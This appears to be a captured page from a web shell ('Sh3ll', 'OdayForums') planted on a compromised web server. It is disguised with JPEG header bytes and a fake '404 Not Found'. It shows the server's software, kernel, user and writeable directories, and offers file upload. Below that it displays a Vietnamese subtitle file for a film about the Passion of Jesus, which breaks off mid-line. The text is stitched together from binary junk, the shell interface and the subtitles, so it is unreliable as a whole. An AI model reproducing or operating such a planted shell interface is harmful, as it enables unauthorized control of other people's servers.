����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/upload/subtitle/03-2019/5c83ef612a91a-1552150369.vtt
WEBVTT - https://subtitletools.com

00:02:16.600 --> 00:02:18.560
Peter.

00:02:21.440 --> 00:02:24.200
Ngươi không thức một giờ
với ta được sao?

00:02:24.840 --> 00:02:27.120
Thầy, điều gì đã xảy ra cho Thầy?

00:02:27.240 --> 00:02:28.680
Con có cần gọi các
môn đệ kia không?

00:02:29.040 --> 00:02:33.000
Không, ta không muốn
họ thấy ta như thế này.

00:02:33.320 --> 00:02:35.760
Thầy gặp nguy hiểm sao?
Chúng con có nên trốn không?

00:02:36.360 --> 00:02:39.120
Hãy ở lại đây. Hãy trông chừng...

00:02:40.560 --> 00:02:41.640
Hãy cầu nguyện!

00:02:56.120 --> 00:02:58.160
Thầy chúng ta gặp chuyện gì?

00:02:59.000 --> 00:03:01.000
Người có vẻ sợ.

00:03:01.400 --> 00:03:04.760
Người có nói về hiểm nguy
chờ đợi trong lúc ăn...

00:03:05.320 --> 00:03:08.120
Người nói đến phản bội và...

00:03:28.280 --> 00:03:29.320
30.

00:03:29.840 --> 00:03:31.640
30 đồng, Judas.

00:03:32.120 --> 00:03:36.360
Đó là thoả thuận giữa ta và mi.

00:03:36.960 --> 00:03:38.000
Thưa đúng.

00:04:21.000 --> 00:04:22.760
Ở đâu?

00:04:24.040 --> 00:04:26.200
Hắn ở đâu?

00:04:58.800 --> 00:05:01.720
Xin Cha nghe con...

00:05:03.800 --> 00:05:08.520
Hãy hiện ra..., hãy bảo vệ con.

00:05:13.240 --> 00:05:17.840
Hãy cứu con khỏi những
bẫy rập đang chờ sẵn con.

00:05:38.240 --> 00:05:41.080
Ngươi thật sự tin rằng

00:05:41.480 --> 00:05:45.560
1 con người có thể chịu đựng

00:05:45.680 --> 00:05:47.920
gánh nặng của tội lỗi sao?

00:05:48.560 --> 00:05:50.760
Thượng đế, xin hãy che chở cho con.

00:05:52.840 --> 00:05:54.480
Con tin tưởng ở Người.

00:05:57.640 --> 00:06:00.800
Con nương tựa ở Người.

00:06:04.520 --> 00:06:08.800
không ai chịu nổi gánh nặng này...

00:06:10.120 --> 00:06:11.560
Ta nói cho ngươi biết...

00:06:12.440 --> 00:06:14.800
Nó quá nặng...

00:06:15.280 --> 00:06:19.000
Phải trả 1 cái giá quá đắt
để cứu vớt linh hồn của họ...

00:06:19.920 --> 00:06:23.200
Không ai... không bao giờ.

00:06:24.400 --> 00:06:25.640
No.

00:06:27.120 --> 00:06:28.200
Không bao giờ.

00:06:30.280 --> 00:06:34.440
Lạy Cha, Cha có thể làm mọi thứ...

00:06:37.440 --> 00:06:41.760
Nếu có thể... xin Cha đừng
cho con uống chén đắng này...

00:06:45.200 --> 00:06:47.240
Nhưng hãy để mọi sự theo ý
Cha...

00:06:50.000 --> 00:06:51.840
không phải như ý Con...

00:07:18.560 --> 00:07:20.080
Cha ngươi là ai?

00:07:26.640 --> 00:07:28.400
Ngươi là ai?

00:09:22.840 --> 00:09:24.120
Các người tìm ai?

00:09:29.240 --> 00:09:31.600
Chúng ta tìm Jesus xứ Nazareth.

00:09:36.560 --> 00:09:37.560
Chính ta đây.

00:10:04.920 --> 00:10:06.520
Thưa Thầy...

00:10:19.160 --> 00:10:20.520
Judas...

00:10:21.400 --> 00:10:26.120
con phản bội Con Của Chúa
Trời bằng 1 nụ hôn hay sao?

00:12:21.400 --> 00:12:22.520
Peter!

00:12:25.080 --> 00:12:26.080
Bỏ xuống!

00:12:27.040 --> 00:12:31.800
Kẻ nào sống vì gươm giáo
... sẽ chết gươm giáo!

00:12:40.480 --> 00:12:41.760
Bỏ xuống!

00:13:14.560 --> 00:13:17.000
Malchus! Đứng lên!

00:13:17.480 --> 00:13:19.200
Bắt được hắn rồi! Đi thôi!

00:13:38.440 --> 00:13:40.600
Gì đó, Mary? Gì thế?

00:13:46.000 --> 00:13:46.920
Hãy lắng nghe...

00:13:49.400 --> 00:13:54.160
''Vì sao đêm nay không
như những đêm khác?''

00:13:58.040 --> 00:14:01.200
'' Bởi vì ta từng là nô lệ

00:14:01.560 --> 00:14:04.080
không còn là nô lệ nữa... ''

00:14:14.320 --> 00:14:15.280
Họ đã bắt Người!

00:15:42.080 --> 00:15:45.840
Hãy triệu tập tất cả... đến
sân nhà của Thầy Thượng Tế.

00:15:46.720 --> 00:15:48.080
Nhanh lên! Đi!

00:17:14.960 --> 00:17:16.600
Khoan! Đừng vội thế!

00:17:17.680 --> 00:17:20.040
Đây không phải việc của
mi... thứ sâu bọ hèn mạt...

00:17:26.840 --> 00:17:27.960
Peter...

00:17:38.680 --> 00:17:42.520
Này, có chuyện gì ở đây thế?

00:17:42.640 --> 00:17:44.320
Trong kia! xin vào bắt họ!

00:17:44.880 --> 00:17:46.360
Họ đã bắt Người!

00:17:46.840 --> 00:17:49.480
1 cách âm thầm... trong bóng đêm!

00:17:49.840 --> 00:17:52.040
Để ông đừng thấy tội ác của họ!

00:17:52.400 --> 00:17:53.480
Xin hãy bắt họ!

00:17:53.840 --> 00:17:56.200
Bà la lối gì đấy?

00:17:56.600 --> 00:17:57.800
Họ đã bắt ai?

00:17:59.040 --> 00:18:00.200
Jesus.

00:18:00.560 --> 00:18:01.880
Jesus xứ Nazareth!

00:18:02.080 --> 00:18:03.320
Im đi!

00:18:10.520 --> 00:18:11.440
Bà ta điên rồi.

00:18:12.240 --> 00:18:17.160
Chỉ là 1 tên tội phạm. Dẫn
về để hỏi cung, thế thôi.

00:18:18.400 --> 00:18:20.240
Vi phạm luật của Đền Thánh.

00:18:28.880 --> 00:18:30.720
Hiểu rồi...

00:18:31.720 --> 00:18:35.440
Tốt hơn nên cho ông ấy biết
sẽ còn nhiều rắc rối nữa...

00:18:35.920 --> 00:18:36.880
Cho ai biết?

00:18:38.280 --> 00:18:39.760
Abenader, đồ ngu!

00:18:40.560 --> 00:18:41.800
Đi đi!

00:18:43.800 --> 00:18:44.640
Đi!

00:19:26.200 --> 00:19:27.360
Jesus...

00:19:44.200 --> 00:19:45.280
Con có đói không?

00:19:48.120 --> 00:19:49.520
Yes, l am.

00:19:57.440 --> 00:20:00.320
Cái bàn này cao thế?

00:20:01.600 --> 00:20:02.520
Con làm cho ai thế?

00:20:03.040 --> 00:20:04.280
Một người giàu có.

00:20:06.800 --> 00:20:09.680
Ông ấy thích ăn đứng hay sao?

00:20:11.440 --> 00:20:14.840
Không... Ông ấy thích
ăn như thế... nên...

00:20:16.240 --> 00:20:19.080
Bàn cao... ghế cũng cao.

00:20:19.760 --> 00:20:22.120
Con chưa đóng ghế.

00:20:37.680 --> 00:20:39.560
Bàn ghế thế này sao bán được!

00:20:40.560 --> 00:20:42.040
Này, đừng... đừng!

00:20:42.400 --> 00:20:45.640
Nhớ tháo tấm khăn bẩn
đó ra trước khi vào nhà.

00:20:48.640 --> 00:20:50.600
Phải rửa sạch tay nữa.

00:21:16.640 --> 00:21:18.880
Đâ bắt đầu rồi, hỡi Thượng đế.

00:21:22.760 --> 00:21:24.360
Mọi việc đã an bài.

00:21:54.000 --> 00:21:55.440
Thưa, đang có sự cố ở...

00:21:55.520 --> 00:21:57.800
Sự cố nửa đêm à, Abenader...?

00:21:58.000 --> 00:21:59.080
Tôi xin lỗi...

00:21:59.240 --> 00:22:00.120
Chuyện gì thế?

00:22:00.960 --> 00:22:02.520
Có sự cố bên trong thành...

00:22:02.920 --> 00:22:05.960
Caiphas đã bắt 1 nhà
tiên tri nào đó...

00:22:06.240 --> 00:22:06.920
Ai?

00:22:08.080 --> 00:22:09.640
1 Giáo siGalilê.

00:22:10.040 --> 00:22:12.520
Thấy rõ người Pharisê
căm thù kẻ đó.

00:22:12.640 --> 00:22:15.280
1 người Galilê? Ngươi nói gì vậy?

00:22:16.480 --> 00:22:19.120
Các ngươi giải đến
tên hành khất nào vậy?

00:22:20.000 --> 00:22:22.800
Xiềng xích như 1 tên tội phạm.

00:22:23.440 --> 00:22:26.720
Đó là Jesus, kẻ
gây rối ở Nazareth.

00:22:28.760 --> 00:22:30.440
Ngươi là Jesus xứ Nazareth?

00:22:31.960 --> 00:22:34.840
Ai cũng bảo ngươi là Vua...

00:22:35.320 --> 00:22:36.840
Vậy, vương quốc của ngươi đâu?

00:22:37.360 --> 00:22:40.200
Ngươi thuộc dòng dõi Vua chúa nào?

00:22:40.440 --> 00:22:41.720
Nói!

00:22:43.240 --> 00:22:46.560
Ngươi chỉ là con trai của 1 tên
thợ mộc vô danh, phải không?

00:22:48.400 --> 00:22:50.600
Có kẻ bảo ngươi là tiên tri Elijah.

00:22:51.440 --> 00:22:54.040
nhưng Elijah đã lên
thiên đàng bằng kiệu!

00:22:55.760 --> 00:22:57.960
Sao ngươi không nói gì?

00:22:58.680 --> 00:23:03.040
Ngươi được giải đến
đây vì tội phạm thượng!

00:23:04.400 --> 00:23:06.520
Ngươi có gì để nói không?

00:23:06.920 --> 00:23:08.680
Hãy tự bào chữa!

00:23:14.160 --> 00:23:16.680
Tôi đã phát biểu công
khai với mọi người...

00:23:17.120 --> 00:23:18.360
Tôi đã giảng đạo

00:23:19.120 --> 00:23:23.800
trong ngôi
đền mà chúng tôi hay tụ tập.

00:23:24.560 --> 00:23:27.240
Xin hãy hỏi những kẻ đã
nghe những gì tôi muốn nói.

00:23:28.040 --> 00:23:31.360
Ngươi trả lời Thầy
Thượng Tế như vậy sao?

00:23:32.240 --> 00:23:33.480
...1 cách hỗn xược vậy sao?

00:23:47.280 --> 00:23:49.080
Nếu tôi đã nói lời không phải...

00:23:49.800 --> 00:23:52.040
...xin hãy cho biết đó là điều gì.

00:23:53.480 --> 00:23:57.000
Nhưng nếu không có...
sao lai đánh tôi?

00:23:59.600 --> 00:24:02.160
Được, ta sẽ lắng nghe những kẻ
đã nghe mi nói lời báng bổ...

00:24:03.280 --> 00:24:04.240
Được!

00:24:06.920 --> 00:24:08.680
Hãy để họ lên tiếng!

00:24:09.320 --> 00:24:12.160
Hắn chữa lành người
bệnh bằng phép thuật!

00:24:13.280 --> 00:24:15.400
Với sự trợ giúp của quỷ thần!

00:24:16.560 --> 00:24:18.120
Chính tôi đã thấy!

00:24:19.200 --> 00:24:23.960
Hắn xua đuổi tà ma, với
sự trợ giúp của Quỷ thần!

00:24:28.760 --> 00:24:33.240
Hắn tự xưng là Vua
của người Do Thái!

00:24:35.320 --> 00:24:38.240
Không, hắn tự xưng
là Con Chúa Trời!

00:24:38.720 --> 00:24:41.680
Hắn bảo sẽ tiêu diệt Đền thánh

00:24:42.560 --> 00:24:45.480
và xây dựng Đền lại trong 3 ngày!

00:24:47.240 --> 00:24:49.040
Còn tệ hơn nữa!

00:24:49.720 --> 00:24:52.480
Hắn bảo hắn là men của sự sống!

00:24:52.960 --> 00:24:57.480
và nếu ta không ăn thịt
hắn hay uống máu hắn...

00:24:57.840 --> 00:25:00.320
thì ta sẽ không được
hưởng sự sống đời đời...

00:25:01.240 --> 00:25:02.920
Im lặng!

00:25:03.960 --> 00:25:07.400
Các người đều đã
bị kẻ này mê hoặc!

00:25:07.920 --> 00:25:11.960
Hoặc hãy cung cấp bằng
chứng của tội lỗi hắn...

00:25:14.480 --> 00:25:16.200
...hay là im lặng!

00:25:16.720 --> 00:25:20.680
Toàn bộ sự việc này thật lố bịch!

00:25:21.360 --> 00:25:25.520
Những điều ta đã nghe từ các
nhân chứng chỉ toàn là mâu thuẫn!

00:25:37.040 --> 00:25:39.120
Ai đã triệu tập cuộc họp này!?

00:25:39.600 --> 00:25:41.320
Và vào giờ giấc
khuya khoắt thế này?

00:25:41.640 --> 00:25:45.120
Những thành viên khác
của Hội đồng đâu?

00:25:45.640 --> 00:25:46.760
Dẫn hắn ra khỏi đây!

00:25:50.160 --> 00:25:51.120
Đi ra!

00:25:51.720 --> 00:25:55.280
Trá hình! Chỉ là như vậy!
1 sự trá hình kinh tởm!

00:26:03.200 --> 00:26:05.520
Ngươi không có gì để nói sao?

00:26:06.280 --> 00:26:07.880
Không có gì để trả lời
lại những lời cáo buộc sao?

00:26:10.560 --> 00:26:14.400
Bây giờ ta hỏi ngươi...

00:26:15.320 --> 00:26:17.280
hỡi Jesus xứ Nazareth...

00:26:18.440 --> 00:26:22.480
Nói đi, ngươi có phải
là Đấng Cứu Thế không?

00:26:24.080 --> 00:26:27.840
...con trai của vị Chúa Trời sống?

00:26:39.120 --> 00:26:40.840
Ta là Đấng Tự Có.

00:26:41.880 --> 00:26:44.840
và ngươi sẽ thấy con trai của
Người ngồi bên tay phải Ngài

00:26:46.200 --> 00:26:49.160
và xuất hiện từ
mây trên Thiên đàng

00:26:53.440 --> 00:26:55.520
Báng bổ!

00:26:57.520 --> 00:26:59.440
Tất cả đã nghe

00:26:59.760 --> 00:27:02.720
Đâu
cần nhân chứng nữa!

00:27:03.960 --> 00:27:08.720
Tuyên án! Lời tuyên án là gì?

00:27:10.800 --> 00:27:12.800
Xử tử!

00:28:03.440 --> 00:28:06.560
Có phải tôi đã thấy
anh cùng đi với...

00:28:07.000 --> 00:28:09.320
Đúng rồi! Ngươi là 1 trong
những môn đồ của hắn!

00:28:10.000 --> 00:28:11.880
Ta đã nhận ra ngươi!

00:28:12.280 --> 00:28:15.120
Im đi! Tôi chưa bao giờ thấy
người đó! Tôi không biết anh ta!

00:28:15.880 --> 00:28:18.600
Ngươi là Peter! 1 trong
những đệ tử của Jesus!

00:28:23.280 --> 00:28:26.240
Tôi không biết người
đó! Anh lầm rồi!

00:28:27.280 --> 00:28:28.360
Thôi, thôi!

00:28:28.720 --> 00:28:29.960
Tôi đã thấy anh rồi!

00:28:30.360 --> 00:28:32.560
Bắt lấy hắn! Chinh là
1 trong số môn đồ đó!

00:28:34.640 --> 00:28:37.160
Các người sai rồi! Khốn nạn thật!

00:28:38.000 --> 00:28:40.800
Tôi thề là không biết người này!

00:28:41.680 --> 00:28:44.840
Tôi chưa bao giờ thấy người này!

00:28:52.600 --> 00:28:54.960
Người đi đâu

00:28:55.640 --> 00:28:59.200
tôi
cũng nguyện theo cùng

00:29:01.760 --> 00:29:06.040
Sẵn sàng vào tù, có
chết cũng cam lòng.

00:29:09.920 --> 00:29:12.280
Amen, nhưng ta bảo anh...

00:29:14.800 --> 00:29:17.640
trước khi gà gáy sáng...

00:29:20.160 --> 00:29:22.960
anh sẽ chôi ta 3 lần...

00:29:46.160 --> 00:29:47.440
Peter?

00:30:02.640 --> 00:30:05.080
Không... tôi thật không xứng đáng!

00:30:06.160 --> 00:30:09.480
Con đã chối bỏ Người, Mẹ ơi!

00:30:10.560 --> 00:30:13.880
Chối bỏ Người 3 lần!

00:30:25.800 --> 00:30:29.480
Thôi, đi! Còn ngươi,
hãy lo việc đó!
.

00:30:33.200 --> 00:30:36.240
Cứ để hắn qua. Hắn vô hại.

00:30:38.160 --> 00:30:39.880
Thả người ấy ra đi!

00:30:41.560 --> 00:30:43.400
Hãy lấy lại số bạc này!

00:30:43.800 --> 00:30:45.160
Này!

00:30:47.440 --> 00:30:50.920
Tôi đã phạm tội, phản
bội người vô tội...

00:30:53.480 --> 00:30:57.640
Hãy cầm lại số tiền này...
tôi không muốn giữ nữa!

00:30:58.160 --> 00:31:02.920
Nếu ngươi nghĩ mình đã phản kẻ vô
tội thì đó là việc của ngươi...

00:31:04.120 --> 00:31:06.000
Cầm tiền và đi đi!

00:31:07.760 --> 00:31:08.720
Đi đi!

00:31:34.600 --> 00:31:36.200
Sao thế? Bác có sao không?

00:31:37.040 --> 00:31:38.960
Miệng của bác ấy
kia. Nhìn được không?

00:31:39.320 --> 00:31:41.400
Bác cần giúp đỡ không?
Chúng cháu giúp được không?

00:31:42.440 --> 00:31:44.040
Bác ấy chảy máu! Nhìn kia! Máu!

00:31:46.800 --> 00:31:49.800
Hãy để ta yên...

00:31:50.760 --> 00:31:51.880
lũ quỷ nhỏ!

00:31:52.960 --> 00:31:56.080
À, nói đến Quỷ!
Bác bị quỷ ám sao?

00:31:56.360 --> 00:31:57.960
Người này bị quỷ ám!

00:31:58.240 --> 00:32:00.080
Đúng rồi, hắn bị quỷ ám!
Bên trong hắn kia, thấy chưa!

00:32:12.160 --> 00:32:15.080
Coi chừng! Có dầu nóng
chảy ra từ xương cốt hắn đó!

00:32:19.640 --> 00:32:23.280
Tránh ra! Để cho ta yên!

00:36:31.120 --> 00:36:34.280
Xin đừng kết án người Galilê này.

00:36:34.640 --> 00:36:35.920
Đó là 1 vị thánh.

00:36:36.560 --> 00:36:38.640
Anh sẽ tự chuốc họa vào thân.

00:36:38.960 --> 00:36:41.840
Nếu em muốn biết thế nào
là hoạ với anh... Claudia...

00:36:42.240 --> 00:36:46.280
thì đó là chinh chốt gác này...
lũ người ô tạp ngoài kia...

00:37:28.360 --> 00:37:31.080
Các ngươi luôn trừng phạt tù
nhân trước khi phân xử hay sao?

00:37:31.440 --> 00:37:32.200
Quan Tổng Trấn...

00:37:32.480 --> 00:37:34.920
Các ngươi buộc tội
con người này thế nào?

00:37:36.680 --> 00:37:37.880
Thật ra...

00:37:38.600 --> 00:37:42.360
nếu kẻ này không có tội, chúng
tôi đã không cho giải đến Ngài.

00:37:42.800 --> 00:37:44.280
Ta không hỏi như vậy.

00:37:44.880 --> 00:37:47.080
Sao các ngươi không xử hắn
theo chính luật của các ngươi?

00:37:47.440 --> 00:37:51.000
Bẩm quan

00:37:51.520 --> 00:37:54.600
kết án tử
là vi phạm pháp luật.

00:37:55.400 --> 00:37:56.360
An tử?

00:37:56.880 --> 00:38:00.040
Kẻ này có tội gì
để phải chịu như vậy?

00:38:00.320 --> 00:38:02.000
Bẩm Quan, hắn vi phạm lễ Sabbath.

00:38:04.520 --> 00:38:05.480
Nói đi.

00:38:05.600 --> 00:38:07.360
Hắn đã xách động dân chúng

00:38:07.720 --> 00:38:11.000
Truyền bá những đạo
giáo xấu xa, kinh tởm.

00:38:13.080 --> 00:38:16.280
Chẳng phải đó là vị tên tri ông đã
cho vào Jerusalem cách đây 5 ngày sao?

00:38:17.000 --> 00:38:18.640
Bây giờ lại muốn người đó chết?

00:38:19.360 --> 00:38:21.280
Ai
có thể giải thích sự việc này cho ta?

00:38:30.600 --> 00:38:32.000
Bẩm... Bẩm Quan, xin Ngài...

00:38:33.800 --> 00:38:38.640
Thầy Thượng Tế chưa cho Ngài
biết tội lớn nhất của kẻ này...

00:38:39.600 --> 00:38:43.080
Hắn đã cầm đầu 1 giáo phái lớn mạnh
và nguy hiểm...

00:38:43.440 --> 00:38:46.120
tôn hắn là con của David.

00:38:47.560 --> 00:38:51.520
Hắn tự xưng là Đấng Cứu Thế...

00:38:51.960 --> 00:38:54.480
vị vua tương lai của dân Do Thái.

00:38:55.760 --> 00:39:00.480
Bẩm quan, hắn đã cấm các môn
đồ nộp thuế cho Hoàng đế Caesar!

00:39:07.240 --> 00:39:08.640
Dẫn hắn đến đây!

00:39:39.440 --> 00:39:40.320
Đi hết đi!

00:39:46.200 --> 00:39:47.080
Uống đi.

00:40:00.040 --> 00:40:02.880
Ngươi có phải Vua của dân Do Thái?

00:40:05.280 --> 00:40:07.800
Có phải Ngài hỏi
tôi câu đó không?

00:40:08.280 --> 00:40:13.040
Hay Ngài hỏi vì kẻ khác đã
bảo Ngài tôi là như thế?

00:40:14.720 --> 00:40:17.600
Sao ta lại hỏi ngươi như vậy?

00:40:18.360 --> 00:40:19.800
Ta có phải Do Thái không?

00:40:20.520 --> 00:40:25.280
Chinh Thượng tế và dân
tộc ngươi đã giao nộp ngươi.

00:40:25.920 --> 00:40:27.520
Chinh họ muốn ta xử ngươi.

00:40:27.880 --> 00:40:29.960
Tại sao? Ngươi đã làm những gì?

00:40:32.840 --> 00:40:34.560
Người có phải Vua không?

00:40:38.480 --> 00:40:41.160
Vương quốc tôi không
có trên đời này.

00:40:41.560 --> 00:40:43.120
Nếu có...

00:40:43.400 --> 00:40:48.000
Ngài nghĩ môn đồ của
tôi sẽ giao nộp tôi thế này ư?

00:40:49.400 --> 00:40:50.760
Vậy, người là Vua?

00:40:53.280 --> 00:40:55.760
Tôi đã đến với
thế gian vì lý do đó.

00:40:56.640 --> 00:40:59.320
Để làm chứng cho sự thật...

00:41:00.080 --> 00:41:04.800
Ai đứng về phía sự thật,
sẽ nghe tiếng của tôi.

00:41:06.720 --> 00:41:08.120
Sự thật!

00:41:12.320 --> 00:41:14.440
Sự thật là gì?

00:41:39.440 --> 00:41:43.200
Ta đã tra hỏi tù nhân... và
không thấy lý do gì để kết án.

00:41:53.680 --> 00:41:55.200
Kẻ này là người
Galilê, phải không?

00:41:56.440 --> 00:41:57.400
Đúng vậy.

00:41:57.800 --> 00:41:59.960
Nếu thế, đó là
thần dân vua Herod...

00:42:00.960 --> 00:42:02.480
Hãy để Vua Herod phán xử!

00:42:02.800 --> 00:42:03.400
Bẩm Quan Tổng Trấn...

00:42:03.720 --> 00:42:04.720
Dẫn hắn đi đi.

00:42:27.440 --> 00:42:29.080
Jesus xứ Nazareth!

00:42:29.680 --> 00:42:30.640
Đâu?

00:42:35.840 --> 00:42:37.040
Đâu rồi?

00:42:44.000 --> 00:42:45.440
Đây...

00:42:46.960 --> 00:42:48.320
mà là Jesus xứ Nazareth sao?

00:42:54.440 --> 00:42:57.200
Có thật là ngươi chữa
lành bệnh cho người mù?

00:43:00.800 --> 00:43:02.480
...hồi sinh người chết?

00:43:18.800 --> 00:43:22.800
Quyền lực của ngươi từ đâu mà có?

00:43:28.720 --> 00:43:33.440
Có phải ngươi là kẻ mà sự
ra đời đã được báo trước?

00:43:39.920 --> 00:43:41.640
Trả lời đi!

00:43:42.600 --> 00:43:43.960
Ngươi có phải là Vua không?

00:43:48.920 --> 00:43:50.480
Còn ta?

00:43:52.440 --> 00:43:55.040
Ngươi có làm
phép cho ta không?

00:44:10.720 --> 00:44:14.200
Dẫn tên điên đó ra khỏi đây mau!

00:44:14.680 --> 00:44:17.600
Hắn đâu có tội... chỉ
điên dại mà thôi.

00:44:19.480 --> 00:44:22.600
Hãy đối đãi với hắn
như với 1 kẻ điên dại!

00:44:44.280 --> 00:44:46.040
Sự thật là đâu, Claudia?

00:44:46.680 --> 00:44:51.240
Em có nghe thấy và nhận
biết khi nó được nói ra...

00:44:52.000 --> 00:44:54.120
Có, em biết.

00:44:56.240 --> 00:44:57.400
Anh không biết sao?

00:44:57.680 --> 00:44:59.240
Cách nào?

00:44:59.960 --> 00:45:01.800
Cho anh biết được không?

00:45:10.680 --> 00:45:15.320
Anh sẽ không bao giờ nghe sự
thật... Không ai có thể nói được.

00:45:17.040 --> 00:45:18.760
Sự thật...

00:45:20.120 --> 00:45:23.240
Em muốn biết sự thật
của anh không, Claudia?

00:45:24.320 --> 00:45:29.040
Anh đã dẹp các cuộc nổi loạn ở
vùng xa xôi này... suốt 11 năm dài.

00:45:29.840 --> 00:45:31.720
Nếu anh không kết án người
này

00:45:32.080 --> 00:45:35.720
Caiphas sẽ dấy loạn.

00:45:36.480 --> 00:45:39.760
Nếu anh kết án hắn, thì những
môn đồ của hắn sẽ dấy loạn.

00:45:40.720 --> 00:45:42.440
Đằng nào cũng sẽ có đổ máu...

00:45:42.960 --> 00:45:46.120
Caesar đã cảnh giác anh,
Claudia. Cảnh giác anh 2 lần.

00:45:47.000 --> 00:45:50.520
Ông ấy đã thề rằng lần nổi loạn
sau máu đổ sẽ là máu của anh.

00:45:51.280 --> 00:45:52.840
Sự thật của anh như vậy!

00:45:57.560 --> 00:46:02.320
Herod từ chối kết án kẻ
đó! Họ sẽ dẫn hắn về đây.

00:46:02.960 --> 00:46:05.360
Sẽ phải củng cố
lực lượng phòng thủ!

00:46:05.680 --> 00:46:07.880
Ta không muốn gây loạn.

00:46:09.360 --> 00:46:11.240
Đã có lọan rồi!

00:46:35.840 --> 00:46:39.320
Vua Herod thấy kẻ
này không có tội!

00:46:41.480 --> 00:46:44.120
Ta cũng thế.

00:46:50.080 --> 00:46:53.120
Quân đâu! Chận giữ đám đông!

00:47:05.440 --> 00:47:06.760
Im lặng!

00:47:07.200 --> 00:47:10.560
Các ngươi không kinh trọng vị
quan La Mã của chúng ta sao?

00:47:17.640 --> 00:47:21.800
Như các người đã biết, mỗi
năm ta phóng thích 1 tù nhân...

00:47:22.720 --> 00:47:25.760
Hiện nay ta đang giữ
1 tên sát nhân...

00:47:26.800 --> 00:47:28.160
...Barabbas.

00:47:44.240 --> 00:47:47.320
Các ngươi muốn ta phóng thích
kẻ nào trong 2 người này?

00:47:47.600 --> 00:47:49.440
...tên sát nhân Barabbas?

00:47:49.680 --> 00:47:51.520
hay Jesus, kẻ tự xưng
là Đấng Cứu Thế?

00:47:52.080 --> 00:47:56.120
Hắn không phải Đấng Cứu Thế! Đó
là 1 kẻ giả mạo! 1 kẻ báng bổ!

00:47:57.240 --> 00:47:59.000
Phóng thích Barabbas!

00:48:14.840 --> 00:48:19.600
Ta hỏi lần nữa! Trong 2 người
tù này, ta sẽ phóng thích ai?

00:48:20.160 --> 00:48:22.360
Phóng thích Barabbas!

00:48:37.680 --> 00:48:39.240
Tháo xiềng cho hắn.!

00:49:11.960 --> 00:49:15.240
Các người muốn ta làm
gì với Jesus xứ Nazareth?

00:49:16.280 --> 00:49:18.040
Đóng đinh hắn!

00:49:33.160 --> 00:49:34.120
Không!

00:49:34.600 --> 00:49:36.160
Ta sẽ trừng phạt hắn,

00:49:36.880 --> 00:49:38.200
nhưng sau đó ta sẽ
trả tư do cho hắn!

00:49:42.760 --> 00:49:45.400
Abenader, hình phạt phải thật nặng.

00:49:45.960 --> 00:49:49.000
Nhưng không được để
họ giết người này.

00:51:07.440 --> 00:51:09.440
Con đã sẵn sàng, thưa Cha...

00:51:10.000 --> 00:51:11.880
con đã sẵn sàng.

00:55:25.040 --> 00:55:26.960
Con trai ta...

00:55:28.560 --> 00:55:32.840
Khi nào... ở đâu và cách nào...

00:55:34.920 --> 00:55:38.520
con mới quyết định để mình được
giải thoát khỏi cực hình này?

00:59:49.480 --> 00:59:51.720
Nêu thế giới căm thù anh em

00:59:52.520 --> 00:59:57.280
Hăy nhớ rằng thế giới
đã căm thù ta trước.

01:00:02.800 --> 01:00:06.480
Cũng nên nhớ rằng không kẻ
tôi tớ nào lớn hơn chủ của mình.

01:00:07.880 --> 01:00:12.760
Nêu chúng hành hạ ta... chúng
cũng sẽ hành hạ anh em...

01:00:14.640 --> 01:00:16.360
Anh em không nên sợ hăi.

01:00:17.160 --> 01:00:19.720
Đấng Bảo trợ sẽ đến

01:00:20.920 --> 01:00:25.000
sẽ cho biết mọi điều về Chúa.

01:00:27.880 --> 01:00:30.560
và sẽ đến từ Chúa Cha.

01:00:37.200 --> 01:00:39.240
Dừng tay!

01:00:41.320 --> 01:00:45.120
Các ngươi đã được lệnh
là trừng phạt người này...

01:00:48.280 --> 01:00:51.080
đâu phải đánh người này đến chết!

01:00:57.400 --> 01:00:59.440
Dẫn đi đi!

01:01:01.320 --> 01:01:02.600
Nhanh lên!

01:01:11.880 --> 01:01:13.280
Đỡ người ấy lên, nhanh!

01:02:41.280 --> 01:02:42.920
Tâu Bệ hạ...

01:02:43.440 --> 01:02:45.080
Làm cho xong đi!

01:02:45.920 --> 01:02:47.320
1 bụi hoa hồng đẹp.

01:02:51.080 --> 01:02:54.160
Nhìn hắn kia! Vua của giòi bọ!

01:02:55.280 --> 01:02:57.280
Vạn tuế, Vua giòi!

01:02:59.760 --> 01:03:01.880
Đúng là màu của Vua Chúa!

01:05:12.680 --> 01:05:14.600
Chúng thần đến phụng mạng!

01:05:16.840 --> 01:05:19.080
1 nhà lãnh đạo cho anh em ta!

01:06:06.520 --> 01:06:08.160
Hãy nhìn người này!

01:06:11.400 --> 01:06:13.400
Đóng đinh hắn!

01:06:23.680 --> 01:06:26.400
Thế này chưa đủ sao? Nhìn đi!

01:06:26.640 --> 01:06:28.320
Đóng đinh hắn!

01:06:42.160 --> 01:06:43.560
Ta phải đóng đinh Vua các ngươi sao?

01:06:45.320 --> 01:06:48.040
Chúng tôi không biết
Vua nào ngoài Caesar!

01:06:50.520 --> 01:06:52.320
Hãy nói ta nghe.

01:06:52.520 --> 01:06:56.040
Ta có quyền năng cho ngươi lên
thập giá... hay trả tự do cho ngươi.

01:07:00.600 --> 01:07:02.960
Ông không có quyền gì với tôi

01:07:04.600 --> 01:07:09.280
trừ quyền từ cấp trên giao.

01:07:11.960 --> 01:07:14.240
Do đó... chính kẻ nào giao nộp
tôi cho ông mới có tội nặng hơn.

01:07:15.320 --> 01:07:19.960
...who has the greater sin.

01:07:22.000 --> 01:07:24.360
Nếu Quan Tổng Trấn giải thoát hắn...

01:07:24.680 --> 01:07:28.400
Ngài không trung thành với Caesar!

01:07:30.280 --> 01:07:32.240
Ngài phải đóng đinh hắn!

01:09:00.200 --> 01:09:04.280
Các ngươi muốn đóng đinh hắn,
không phải ta. Hãy nghĩ lại đi.

01:09:05.000 --> 01:09:07.680
Máu kẻ này đổ không phải do ta.

01:09:25.640 --> 01:09:26.640
Abenader...

01:09:32.120 --> 01:09:34.520
Hãy làm theo ý họ!

01:10:06.800 --> 01:10:08.840
Con là kẻ tôi tớ của Cha

01:10:08.960 --> 01:10:11.480
kẻ tôi
tớ và con trai của kẻ tôi tớ Người.

01:10:12.360 --> 01:10:17.120
Sao hôn thập giá làm
